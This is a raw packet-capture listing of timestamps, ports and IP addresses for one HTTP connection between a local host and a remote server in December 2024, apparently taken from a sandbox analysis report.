Dec 26, 2024 12:52:12.592030048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.592653036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.592700005 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.592839956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.593491077 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.593532085 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.593657017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.593693972 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.594340086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.594517946 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.594556093 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.595192909 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.595204115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.595237017 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.596023083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.596194029 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.596971989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.596983910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.597012997 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.597032070 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.597815990 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.597827911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.597866058 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.598598957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.598762035 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.598798037 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.599627018 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.599638939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.599672079 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.600455999 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.600467920 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.600506067 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.601270914 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.601283073 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.601314068 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.602122068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.602288961 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.602324963 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.602957964 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.602968931 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.603013992 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.603399992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.603411913 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.603446960 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.603780031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.603856087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.603893042 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.604634047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.604748011 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.605498075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.605541945 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.605618954 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.606368065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.606406927 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.606587887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.606621981 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.607325077 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.607397079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.607430935 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.608063936 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.608156919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.608192921 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.608973980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.609071016 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.609764099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.609806061 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.609883070 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.610652924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.610694885 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.610709906 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.610748053 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.611452103 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.611540079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.611578941 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.612337112 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.612410069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.612447977 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.613167048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.613279104 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.614032984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.614075899 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.614119053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.614806890 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.614865065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.614923000 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.614962101 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.615715981 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.615864038 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.615900040 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.616583109 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.616684914 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.617450953 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.617491007 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.617522955 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.618285894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.618324995 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.618393898 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.618428946 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.619323015 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.619452953 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.619493008 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.620122910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.620197058 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.620238066 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.620939970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.621033907 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.621069908 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.621690989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.621798038 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.621836901 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.622611046 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.622673988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.622906923 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.623395920 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.623501062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.624236107 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.624274969 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.624434948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.625416040 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.625459909 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.625469923 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.625507116 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.626111031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.626203060 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.626245022 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.626857042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.626955986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.627661943 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.627707005 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.627763987 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.628526926 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.628565073 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.628628016 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.628663063 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.629448891 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.629523993 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.629560947 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.630235910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.630316973 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.630354881 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.631114960 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.631249905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.631290913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.631961107 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.631979942 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.632021904 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.632736921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.638506889 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.798614025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.798691034 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.798774958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.799058914 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.799103975 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.799160957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.799889088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.799936056 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.800071955 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.800725937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.800776958 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.800847054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.801644087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.801774025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.801829100 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.802431107 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.802577972 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.802700996 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.803263903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.803404093 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.803416014 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.804208040 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.804258108 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.804270029 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.805196047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.805247068 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.805305958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.805849075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.805902958 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.805939913 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.806700945 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.806804895 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.806849957 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.807534933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.807589054 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.807635069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.808669090 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.808686018 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.808720112 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.809267998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.809401035 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.809449911 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.810141087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.810220003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.810264111 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.814830065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.814848900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.814862013 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.814867973 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.814874887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.814879894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.814887047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.814893007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.814899921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.814918041 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.814975977 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.815208912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.815256119 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.815324068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.816062927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.816106081 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.816241026 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.816940069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.816996098 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.817038059 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.817769051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.817822933 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.817888975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.818625927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.818674088 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.818744898 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.819461107 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.819569111 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.819616079 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.820414066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.820545912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.820595980 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.821199894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.821297884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.821346045 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.822069883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.822125912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.822170973 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.822886944 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.822999954 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.823046923 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.823735952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.823837042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.823882103 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.824579000 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.824723005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.824769020 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.825438976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.825495958 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.825581074 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.826311111 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.826391935 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.826404095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.827151060 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.827189922 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.827234030 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.828032017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.828071117 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.828087091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.828871965 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.828958035 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.828991890 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.829708099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.829768896 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.829819918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.830576897 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.830616951 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.830624104 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.831404924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.831449986 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.831485033 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.832281113 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.832343102 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.832542896 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.833133936 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.833178043 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.833251953 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.833978891 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.834032059 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.834068060 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.834868908 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.834920883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.834953070 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.835700989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.835762024 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.835798025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.836519003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.836580038 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.836604118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.837368011 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.837440014 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.837503910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.838259935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.838309050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.838309050 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.839076996 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.839119911 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.839221001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.839925051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.839988947 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.840024948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.840848923 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.840893030 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.840917110 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.841727972 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.841763020 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.841777086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.842030048 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.842556000 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.842612982 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.842636108 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.843303919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.843338013 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.855094910 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.009409904 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.009447098 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.009535074 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.009656906 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.009829998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.009879112 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.010509014 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.010672092 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.010740042 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.011362076 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.011419058 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.011516094 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.012257099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.012300014 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.012346983 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.013077021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.013278008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.013345957 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.013926983 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.014018059 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.014096975 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.014763117 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.014899969 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.014941931 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.015614986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.015697956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.015741110 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.016499043 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.016580105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.016616106 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.017337084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.017462015 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.017504930 CET	49842	80	192.168.2.6	185.215.113.16
